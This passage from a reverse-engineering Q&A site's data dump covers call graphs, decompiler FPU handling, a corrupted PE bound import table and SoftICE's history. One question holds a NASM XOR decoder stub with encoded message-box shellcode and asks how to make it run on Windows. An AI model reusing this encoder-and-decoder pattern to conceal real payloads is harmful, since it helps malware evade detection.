  <row Id="16275" PostTypeId="2" ParentId="16274" CreationDate="2017-09-05T17:46:22.960" Score="2" Body="&lt;p&gt;I think the problem is that the executable code is not writeable by default on Windows, so it fails when &lt;code&gt;xor&lt;/code&gt; tries to modify the code. You should look into how to modify .text section permissions, either at assembly/link time or at runtime. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another solution could be to copy the shellcode to writeable memory before decryption, however this may lead to the opposite problem - it may be non-executable.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-09-05T17:46:22.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16277" PostTypeId="2" ParentId="16254" CreationDate="2017-09-05T23:26:48.107" Score="3" Body="&lt;p&gt;When I realized that this feature was not implement, I made a workaround to get what I want.  I output the full program call graph then made a very simple python script that uses networkx to find paths between nodes. This is not ideal but gets the job done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In radare2, I output the full program call graph to a .dot file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;agC &amp;gt; agCfullProgramCallGraph.dot&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I have a python script that takes that graph and finds the paths for the connected nodes I'm interested in.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python&#xA;&quot;&quot;&quot;&#xA;Given a .dot graph, a source node, target node, this script prints out new graphs with all the paths between&#xA;&#xA;&quot;&quot;&quot;       &#xA;import networkx as nx&#xA;from pygraphviz import *&#xA;class DotGraphvizUtil(object):&#xA;&#xA;    def find_paths(self, dot_file_path, source, target):&#xA;        agraph = AGraph(dot_file_path)&#xA;        graphviz_graph = nx.nx_agraph.from_agraph(agraph)&#xA;&#xA;        paths = nx.all_simple_paths(graphviz_graph, source=source, target=target)&#xA;&#xA;        i = 0&#xA;&#xA;        for path in paths:&#xA;            subgraph = nx.subgraph(graphviz_graph,path)&#xA;            print(path)&#xA;            nx.nx_agraph.write_dot(subgraph,&quot;srcTargetGraph{}.dot&quot;.format(i))&#xA;            i =+ 1&#xA;&#xA;        if i == 0:&#xA;            print(&quot;No paths found from {} {}&quot;.format(source, target))    &#xA;&#xA;if __name__ == '__main__':&#xA;    dot_file = &quot;agCfullProgramCallGraph.dot&quot;&#xA;    dotGraph = DotGraphvizUtil()&#xA;    dotGraph.find_paths(dot_file_path=dot_file, source='0x004669bc', target='0x00466828')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21458" LastActivityDate="2017-09-05T23:26:48.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16278" PostTypeId="1" AcceptedAnswerId="16306" CreationDate="2017-09-06T02:30:47.147" Score="6" ViewCount="1080" Body="&lt;p&gt;I have a basic XOR decoder that functions perfectly in Linux, but when I try to move it over to an exe in windows, it fails. I am leaving this question open for historical reference since the issue persists.&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/16274/working-linux-assembly-xor-encoder-decoder-failing-on-windows&quot;&gt;here&lt;/a&gt;&#xA;It has been suggested that in the assembly decoder, the .text section is not writeable &lt;strong&gt;in windows&lt;/strong&gt;. How can I make this assembly decoder execute and decode/XOR from the .text section in windows as an exe?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steps to convert encoder to win 7 64&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;nasm -fwin64  Workingwin7messageBoxassembly.nasm -o xorencoder.obj&lt;/li&gt;&#xA;&lt;li&gt;Extract shellcode from obj file&lt;/li&gt;&#xA;&lt;li&gt;Insert  into encoder.nasm&lt;/li&gt;&#xA;&lt;li&gt;Assemble encoder nasm -fwin64  encoder.nasm -o xorencoder.obj&lt;/li&gt;&#xA;&lt;li&gt;On Windows use golink to create exe. golink \console xorencoder.obj&lt;/li&gt;&#xA;&lt;li&gt;run exe and crash.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Tools above have been verified to work to assemble the Workingwin7messageBoxassembly.nasm and create a working exe from golink.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This approach breaks when I include the extracted shellcode from the assembled/linked Workingwin7messageBoxassembly.nasm and try to have the decoder below call and decode the shellcode. The shellcode below in the encoded_shellcode: section is a XORed version of a win 7-64 message box found &lt;a href=&quot;https://www.tophertimzen.com/blog/windowsx64Shellcode/&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;. This method has an access violation when trying to XOR the contents of encoded_shellcode:.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    bits 64&#xA;    section .text&#xA;    global start&#xA;&#xA;    start:&#xA;            jmp find_address&#xA;&#xA;    decoder:&#xA;            pop rdi&#xA;            xor rcx, rcx&#xA;            add rax, 260&#xA;    decode:&#xA;            xor byte [rdi], 0xAA&#xA;            inc rdi&#xA;            loop decode&#xA;&#xA;            jmp short encoded_shellcode&#xA;&#xA;    find_address:&#xA;            call decoder&#xA;&#xA;            encoded_shellcode: db 0xe2,0x29,0x46,0x82,0xe2,0x29,0x4e,0x5a,0xcf,0xe6,0x21,0x8e,0x8f,0xca,0xaa,0xaa,0xaa,0xe7,0x21,0xce,0x8e,0xb2,0xe7,0x21,0xce,0x8e,0x8a,0xe7,0x21,0x8e,0x8e,0xe7,0x21,0xd6,0x8e,0x8a,0xe7,0x21,0x8e,0x8e,0xe7,0x21,0xce,0x8e,0x8a,0x10,0x24,0xe4,0xa4,0x46,0xe6,0x23,0x4b,0x42,0xc2,0xaa,0xaa,0xaa,0x41,0x9e,0xf3,0x55,0x7a,0x10,0x02,0x08,0xe7,0x16,0xe2,0x23,0x6b,0x42,0xfc,0xaa,0xaa,0xaa,0xe2,0x23,0x69,0xe7,0x9b,0x63,0x41,0x94,0xeb,0xf2,0x41,0x82,0xf0,0xe2,0x9b,0x63,0x55,0x79,0x10,0xda,0x67,0x95,0x87,0xe6,0x23,0x53,0x42,0x9d,0xaa,0xaa,0xaa,0xe2,0x9b,0x63,0x55,0x7a,0x42,0x6d,0x55,0x55,0x55,0xdf,0xd9,0xcf,0xd8,0x99,0x98,0x84,0xce,0xc6,0xc6,0x42,0x79,0x55,0x55,0x55,0xfe,0xc2,0xc3,0xd9,0x8a,0xc3,0xd9,0x8a,0xcc,0xdf,0xc4,0x8b,0xaa,0x42,0x17,0x55,0x55,0x55,0x9a,0xd2,0xce,0xcf,0xcb,0xce,0xc8,0xcf,0xcf,0xcc,0xe3,0x23,0x67,0xcd,0xeb,0x21,0xef,0x96,0xcd,0xef,0x21,0x1e,0xaf,0x22,0xaa,0xaa,0xaa,0xef,0xab,0x44,0xcd,0xef,0x21,0xfc,0xb2,0xcd,0xeb,0x21,0xf4,0x8a,0xee,0xab,0x41,0xcd,0x49,0x95,0xeb,0x55,0x60,0xcd,0xe8,0x21,0x9e,0x39,0xee,0xab,0x44,0x9b,0x55,0x9b,0x6a,0x56,0x06,0x2e,0x6a,0xde,0xad,0x6b,0x65,0xa7,0xab,0x6d,0x41,0x5e,0x93,0x7d,0xdf,0x77,0xcd,0xeb,0x21,0xf4,0x8e,0xee,0xab,0x41,0x9b,0x63,0xcc,0xcd,0xe8,0x21,0xa6,0xf9,0xcd,0xeb,0x21,0xf4,0xb6,0xee,0xab,0x41,0xcd,0x21,0xae,0x21,0xee,0xab,0x42,0x69&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I edited the .text section using LordPE to  make the .text section in the exe writeable to allow the decoder to read from the .text section to decode. It still fails. How do I get this assembly decoder to decode?&lt;/p&gt;&#xA;" OwnerUserId="21485" LastActivityDate="2017-09-09T11:27:28.093" Title="How to Make .text Section in Assembly Writeable for Win7-64 EXE" Tags="|disassemblers|shellcode|nasm|assembly|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16280" PostTypeId="2" ParentId="16271" CreationDate="2017-09-06T08:07:04.587" Score="2" Body="&lt;p&gt;The line in question seems to correspond to this sequence:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:084D16DF                 fldz&#xA;.text:084D16E1                 fxch    st(1)&#xA;.text:084D16E3                 fucompp&#xA;.text:084D16E5                 fnstsw  ax&#xA;.text:084D16E7                 and     ah, 45h&#xA;.text:084D16EA                 xor     ah, 40h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This performs comparison of the FPU stack values, then copies FPU flags to &lt;code&gt;ax&lt;/code&gt; and checks its value (probably to determine the result of comparison). Since the Hex-Rays decompiler supports FPU instructions (including comparisons) &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/v11_vs_v10.shtml#5&quot; rel=&quot;nofollow noreferrer&quot;&gt;since at least version 1.1&lt;/a&gt;, you either have a too old version or have hit on a bug. Try to update to the latest version or &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/manual/failures.shtml#report&quot; rel=&quot;nofollow noreferrer&quot;&gt;report it&lt;/a&gt; if it's still present.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-09-06T08:07:04.587" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16281" PostTypeId="2" ParentId="16234" CreationDate="2017-09-06T09:19:13.713" Score="3" Body="&lt;p&gt;your exe is having bound import table address at 0x248 (at the end of last section ) and cff explorer is overwriting those entries (BOUND IMPORT From kernel32.dll with timestamp &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;5.1.2600.0  3B7DFE0E (18th August 2001)     926,720     Windows XP &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that is why it is crashing&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dumpbin /headers Winmine_test.exe | grep -i bound&#xA;             248 [      A8] RVA [size] of Bound Import Directory&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;original exe  the bound import modname is &lt;strong&gt;@ offset 0x48&lt;/strong&gt; from start which is &lt;strong&gt;msvcrt.dll&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\wdscr\cfftest&amp;gt;xxd -s 0x248 -g4 -l 0xa8 &quot;W&#xA;0000248: 0efe7d3b 48000000 0efe7d3b 53000000&#xA;0000258: 0efe7d3b 60000000 0efe7d3b 6d000000&#xA;0000268: 0efe7d3b 77000000 0ffe7d3b 82000000&#xA;0000278: 13fe7d3b 8e000000 32fe7d3b 98000000&#xA;0000288: 00000000 00000000 6d737663 72742e64&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but in cff explorer edited exe the bound import table is corrupted &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xxd -s 0x248 -g 4 -l 0xa8 Winmine_test.exe&#xA;0000248: 2e746573 **74000000** 00100000 00000200  .test...........&#xA;0000258: 00100000 00d40100 00000000 00000000  ................&#xA;0000268: 00000000 200000e0 0ffe7d3b 82000000  .... .....};....&#xA;0000278: 13fe7d3b 8e000000 32fe7d3b 98000000  ..};....2.};....&#xA;0000288: 00000000 00000000 6d737663 72742e64  ........msvcrt.d&#xA;0000298: 6c6c0041 44564150 4933322e 646c6c00  ll.ADVAPI32.dll.&#xA;00002a8: 4b45524e 454c3332 2e646c6c 00474449  KERNEL32.dll.GDI&#xA;00002b8: 33322e64 6c6c0055 53455233 322e646c  32.dll.USER32.dl&#xA;00002c8: 6c005348 454c4c33 322e646c 6c005749  l.SHELL32.dll.WI&#xA;00002d8: 4e4d4d2e 646c6c00 434f4d43 544c3332  NMM.dll.COMCTL32&#xA;00002e8: 2e646c6c 00000000                    .dll....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the bound import table module name is given as offset so the first offset is 0x74&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000248: 2e746573 74000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so &lt;strong&gt;248+74 = 0x2bc&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the loader is trying to load thus &lt;strong&gt;ll.dll&lt;/strong&gt; and failing &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;6c6c00&lt;/strong&gt;55 53455233 322e646c  32.d**ll.**USER32.dl&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you cant trap this with a user mode debugger because the initialisation code &#xA;is run before debugger gets a chance to attach &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you are running this exe in a vm connected to a kernel debugger you can watch the bound import failing if you set a break on &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ntdll!LdrpHandleOneNewFormatImportDescriptor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;also you can enable gflag +sls  (show loader snaps ) in the context to get the loader snap spewing out that winmine is bound to ll.dll and then trying to walk the imports in the non existant dll&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; r&#xA;eax=0006fa6c ebx=7ffdd000 ecx=000000b4 edx=0000415c esi=00191ec0 edi=010002bc&#xA;eip=7c91d025 esp=0006fa38 ebp=0006fa78 iopl=0         nv up ei pl zr na pe nc&#xA;cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246&#xA;ntdll!LdrpLoadImportModule:&#xA;001b:7c91d025 8bff            mov     edi,edi&#xA;&#xA;&#xA;kd&amp;gt; kb&#xA; # ChildEBP RetAddr  Args to Child              &#xA;00 0006fa34 7c91e4cb 00020498 010002bc 01000000 ntdll!LdrpLoadImportModule&#xA;01 0006fa78 7c91e474 7ffdd000 00020498 00191ec0 ntdll!LdrpHandleOneNewFormatImportDescriptor+0x53&#xA;02 0006fa98 7c91e5ae 7ffdd000 00020498 00191ec0 ntdll!LdrpHandleNewFormatImportDescriptors+0x20&#xA;03 0006fb14 7c921e25 00020498 00191ec0 7ffdf000 ntdll!LdrpWalkImportDescriptor+0x19e&#xA;04 0006fc94 7c92108f 0006fd30 7c900000 0006fce0 ntdll!LdrpInitializeProcess+0xe02&#xA;05 0006fd1c 7c90e437 0006fd30 7c900000 00000000 ntdll!_LdrpInitialize+0x183&#xA;06 00000000 00000000 00000000 00000000 00000000 ntdll!KiUserApcDispatcher+0x7&#xA;&#xA;&#xA;kd&amp;gt; .fnent .&#xA;Debugger function entry 039b6c60 for:&#xA;(7c91d025)   ntdll!LdrpLoadImportModule   |  (7c91d1a1)   ntdll!LdrpInitSecurityCookie&#xA;Exact matches:&#xA;    ntdll!LdrpLoadImportModule (&amp;lt;no parameter info&amp;gt;)&#xA;&#xA;OffStart:  0001d025&#xA;ProcSize:  0x23a&#xA;Prologue:  0x29&#xA;Params:    0n5 (0x14 bytes)&#xA;Locals:    0n141 (0x234 bytes)&#xA;Non-FPO&#xA;&#xA;kd&amp;gt; dd esp l6&#xA;0006fa38  7c91e4cb 00020498 010002bc 01000000&#xA;0006fa48  0006fa6c 0006fa77&#xA;&#xA;&#xA;&#xA;kd&amp;gt; db 20498&#xA;00020498  43 00 3a 00 5c 00 44 00-6f 00 63 00 75 00 6d 00  C.:.\.D.o.c.u.m.&#xA;000204a8  65 00 6e 00 74 00 73 00-20 00 61 00 6e 00 64 00  e.n.t.s. .a.n.d.&#xA;000204b8  20 00 53 00 65 00 74 00-74 00 69 00 6e 00 67 00   .S.e.t.t.i.n.g.&#xA;000204c8  73 00 5c 00 61 00 64 00-6d 00 69 00 6e 00 5c 00  s.\.a.d.m.i.n.\.&#xA;000204d8  44 00 65 00 73 00 6b 00-74 00 6f 00 70 00 5c 00  D.e.s.k.t.o.p.\.&#xA;000204e8  63 00 66 00 66 00 74 00-65 00 73 00 74 00 3b 00  c.f.f.t.e.s.t.;.&#xA;000204f8  43 00 3a 00 5c 00 57 00-49 00 4e 00 44 00 4f 00  C.:.\.W.I.N.D.O.&#xA;00020508  57 00 53 00 5c 00 73 00-79 00 73 00 74 00 65 00  W.S.\.s.y.s.t.e.&#xA;&#xA;&#xA;&#xA;kd&amp;gt; db 10002bc&#xA;010002bc  6c 6c 00 55 53 45 52 33-32 2e 64 6c 6c 00 53 48  ll.USER32.dll.SH&#xA;010002cc  45 4c 4c 33 32 2e 64 6c-6c 00 57 49 4e 4d 4d 2e  ELL32.dll.WINMM.&#xA;010002dc  64 6c 6c 00 43 4f 4d 43-54 4c 33 32 2e 64 6c 6c  dll.COMCTL32.dll&#xA;010002ec  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................&#xA;010002fc  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................&#xA;0100030c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................&#xA;0100031c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................&#xA;0100032c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................&#xA;&#xA;&#xA;kd&amp;gt; db 10002bc-74&#xA;01000248  2e 74 65 73 74 00 00 00-00 10 00 00 00 00 02 00  .test...........&#xA;01000258  00 10 00 00 00 d4 01 00-00 00 00 00 00 00 00 00  ................&#xA;01000268  00 00 00 00 20 00 00 e0-0f fe 7d 3b 82 00 00 00  .... .....};....&#xA;01000278  13 fe 7d 3b 8e 00 00 00-32 fe 7d 3b 98 00 00 00  ..};....2.};....&#xA;01000288  00 00 00 00 00 00 00 00-6d 73 76 63 72 74 2e 64  ........msvcrt.d&#xA;01000298  6c 6c 00 41 44 56 41 50-49 33 32 2e 64 6c 6c 00  ll.ADVAPI32.dll.&#xA;010002a8  4b 45 52 4e 45 4c 33 32-2e 64 6c 6c 00 47 44 49  KERNEL32.dll.GDI&#xA;010002b8  33 32 2e 64 6c 6c 00 55-53 45 52 33 32 2e 64 6c  32.dll.USER32.dl&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2017-09-06T09:28:38.573" LastActivityDate="2017-09-06T09:28:38.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16283" PostTypeId="2" ParentId="16185" CreationDate="2017-09-06T13:10:57.517" Score="3" Body="&lt;p&gt;My offers won't be specific for your task, so I will try to answer your second question. I hope these helps to you or anyone having a similar task. Since your task is on a quite specific subject, I will offer you searching for something similar, and solve the puzzle by combining these details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if you have previous MacOS/iOS reversing experience. So &lt;a href=&quot;https://davidwalsh.name/reverse-engineer-os-ios-software&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; is a good tutorial to start for understanding platform details (Binary format etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you can start with basic understanding of Objective-C runtime details. This information will be quite helpful when you face some (dis)assembly &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For exp; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/ObjCRuntimeGuide/Articles/ocrtHowMessagingWorks.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Method calls via send message&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/AutomaticReferenceCounting.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Automatic Reference&#xA;Counting&lt;/a&gt; (retain/release method calls)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This post (&lt;a href=&quot;https://www.bartcone.com/new-blog/2014/11/26/hopper-lldb-for-ios-developers-a-gentle-introduction&quot; rel=&quot;nofollow noreferrer&quot;&gt;Introduction to LLDB and Hopper&lt;/a&gt;) can be quite helpful since it provides an example of decompilation of an Apple's UIKit framework. By using that approach I decompiled PluginKit, but didn't focus on internals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also check interface of PluginKit via &lt;a href=&quot;https://github.com/nst/RuntimeBrowser/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Runtime Browser&lt;/a&gt; and search methods to focus on, or check pre-generated intefaces which are available on github page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2017-09-06T13:10:57.517" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16286" PostTypeId="2" ParentId="16255" CreationDate="2017-09-06T17:29:55.350" Score="1" Body="&lt;p&gt;It turns out that the newer version was packed just as the previous one, using same Molebox Pro. But it was messing with PE Headers at runtime so I've needed to unwrap it from those masking layers first. &lt;a href=&quot;https://tuts4you.com/download.php?view.3503&quot; rel=&quot;nofollow noreferrer&quot;&gt;Scylla&lt;/a&gt; was perfect tool for that.&lt;/p&gt;&#xA;" OwnerUserId="21459" LastActivityDate="2017-09-06T17:29:55.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16287" PostTypeId="2" ParentId="1445" CreationDate="2017-09-06T17:31:08.590" Score="31" Body="&lt;p&gt;After buying NuMega technologies in 1997, Compuware seemed to feel that SoftICE was a liability, both technically and legally (as the #1 hacker tool of the time), and that may have played into why they discontinued support.  SoftICE required constant updates in order to continue working against the various updates of Windows that were coming out, and there were only a couple of people who knew how to make those updates.  In 2007, they closed down the NuMega office in Nashua, NH, and moved all the intellectual property to Compuware's headquarters (then in Detroit, MI).  The product line that included all that stuff was sold off to MicroFocus in 2009, along with the remaining developers, none of which knew a thing about building SoftICE, let alone updating it to work with updated versions of Windows.  We toyed with resurrecting the product around 2011, but could not get management to buy off on it, so it didn't happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The source code remains in its own stasis box (a source control database), and will likely never go anywhere from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; I work for MicroFocus, and currently maintain the formerly NuMega product &quot;DevPartner Studio&quot;, the BoundsChecker portion in particular.&lt;/p&gt;&#xA;" OwnerUserId="21498" LastActivityDate="2017-09-06T17:31:08.590" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16288" PostTypeId="2" ParentId="6003" CreationDate="2017-09-06T21:00:09.560" Score="3" Body="&lt;p&gt;I was part of a team that built a dynamic visualization tool (dynamic because it operates on executions of binaries, not on static binaries) called Haxxis:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/voidALPHA/cgc_viz&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/voidALPHA/cgc_viz&lt;/a&gt; (the visualization component developed by voidALPHA)&#xA;&lt;a href=&quot;https://github.com/Vector35/traceapi&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Vector35/traceapi&lt;/a&gt; (generates traces using a modified qemu that are fed into the visualizer)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it mainly works on &quot;Decree&quot; format (a 32bit x86 modified elf format) it would be easy to adapt to other binary formats. It produces some nifty visualizations: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=6r1fOrDb80s&amp;amp;list=PLuDRBJDBc4F9HnfV5tQDwqhSs9a5VPegD&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=6r1fOrDb80s&amp;amp;list=PLuDRBJDBc4F9HnfV5tQDwqhSs9a5VPegD&lt;/a&gt;&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=LEfejsqEucY&amp;amp;list=PL6wMum5UsYvZx2x9QGhDY8j3FcQUH7uY0&amp;amp;index=13&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=LEfejsqEucY&amp;amp;list=PL6wMum5UsYvZx2x9QGhDY8j3FcQUH7uY0&amp;amp;index=13&lt;/a&gt;&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=SYYZjTx92KU&amp;amp;list=PL6wMum5UsYvZx2x9QGhDY8j3FcQUH7uY0&amp;amp;index=31&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=SYYZjTx92KU&amp;amp;list=PL6wMum5UsYvZx2x9QGhDY8j3FcQUH7uY0&amp;amp;index=31&lt;/a&gt; (long overview of the CGC event itself with snippets of Haxxis throughout)&lt;/p&gt;&#xA;" OwnerUserId="229" LastActivityDate="2017-09-06T21:00:09.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16289" PostTypeId="2" ParentId="16234" CreationDate="2017-09-07T01:44:39.433" Score="5" Body="&lt;p&gt;blabb's answer may be right as far as it relates to what's wrong in the edited binary, but the suggestion to use a kernel debugger to find the problematic stack is &lt;em&gt;way&lt;/em&gt; off course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this demonstration I use Windows XP rather than 7 like you. The effects are pretty much the same except that the NTSTATUS on XP is &lt;code&gt;0xC0000135&lt;/code&gt; rather than &lt;code&gt;0xC000007B&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We open WinDbg and execute the binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Microsoft (R) Windows Debugger Version 6.12.0002.633 X86&#xA;Copyright (c) Microsoft Corporation. All rights reserved.&#xA;&#xA;CommandLine: &quot;C:\Documents and Settings\Administrator\My Documents\Downloads\Winmine - XP - копия.exe&quot;&#xA;Symbol search path is: *** Invalid ***&#xA;****************************************************************************&#xA;* Symbol loading may be unreliable without a symbol search path.           *&#xA;* Use .symfix to have the debugger choose a symbol path.                   *&#xA;* After setting your symbol path, use .reload to refresh symbol locations. *&#xA;****************************************************************************&#xA;Executable search path is: &#xA;ModLoad: 01000000 01021000   winmine.exe&#xA;ModLoad: 7c900000 7c9b2000   ntdll.dll&#xA;ModLoad: 7c800000 7c8f6000   C:\WINDOWS\system32\kernel32.dll&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A message box pops up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/grmhM.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/grmhM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We &lt;em&gt;don't&lt;/em&gt; dismiss the message box. Instead we break in WinDbg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Break-in sent, waiting 30 seconds...&#xA;WARNING: Break-in timed out, suspending.&#xA;         This is usually caused by another thread holding the loader lock&#xA;(b58.e64): Wake debugger - code 80000007 (first chance)&#xA;eax=c0000135 ebx=00000000 ecx=00000a2b edx=00090608 esi=7ffdfc00 edi=c0000135&#xA;eip=7c90e514 esp=0006f6f0 ebp=0006f7d4 iopl=0         nv up ei pl nz na po cy&#xA;cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000203&#xA;*** ERROR: Symbol file could not be found.  Defaulted to export symbols for ntdll.dll - &#xA;ntdll!KiFastSystemCallRet:&#xA;7c90e514 c3              ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yes, it actually takes these 30 seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's look at the stack:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; ~* k&#xA;&#xA;.  0  Id: b58.e64 Suspend: 1 Teb: 7ffdf000 Unfrozen&#xA;ChildEBP RetAddr  &#xA;WARNING: Stack unwind information not available. Following frames may be wrong.&#xA;0006f7d4 7c91c880 ntdll!KiFastSystemCallRet&#xA;0006fa34 7c9246f2 ntdll!LdrDisableThreadCalloutsForDll+0xce&#xA;0006fa78 7c92469b ntdll!sprintf+0x13e&#xA;0006fa98 7c9247d5 ntdll!sprintf+0xe7&#xA;0006fb14 7c920244 ntdll!sprintf+0x221&#xA;0006fc94 7c91fad7 ntdll!RtlInitMemoryStream+0x2e8&#xA;0006fd1c 7c90e457 ntdll!RtlLookupElementGenericTable+0x80&#xA;00000000 00000000 ntdll!KiUserApcDispatcher+0x7&#xA;&#xA;   1  Id: b58.324 Suspend: 1 Teb: 7ffde000 Unfrozen&#xA;ChildEBP RetAddr  &#xA;WARNING: Stack unwind information not available. Following frames may be wrong.&#xA;0028fc98 7c901046 ntdll!KiFastSystemCallRet&#xA;0028fd18 7c90e457 ntdll!RtlEnterCriticalSection+0x46&#xA;00000000 00000000 ntdll!KiUserApcDispatcher+0x7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second thread is probably used to communicate with CSRSS to display the message or something like that and it's not really interesting. The first thread is what's important, and its symbols are all messed up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's fix that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; lm&#xA;start    end        module name&#xA;01000000 01021000   winmine    (deferred)             &#xA;7c800000 7c8f6000   kernel32   (deferred)             &#xA;7c900000 7c9b2000   ntdll      (export symbols)       C:\WINDOWS\system32\ntdll.dll&#xA;0:000&amp;gt; .symfix+&#xA;0:000&amp;gt; .reload /f&#xA;Reloading current modules&#xA;...&#xA;0:000&amp;gt; lm&#xA;start    end        module name&#xA;01000000 01021000   winmine    (pdb symbols)          C:\Documents and Settings\Administrator\Desktop\debugger_x86\sym\winmine.pdb\3B7D84751\winmine.pdb&#xA;7c800000 7c8f6000   kernel32   (pdb symbols)          C:\Documents and 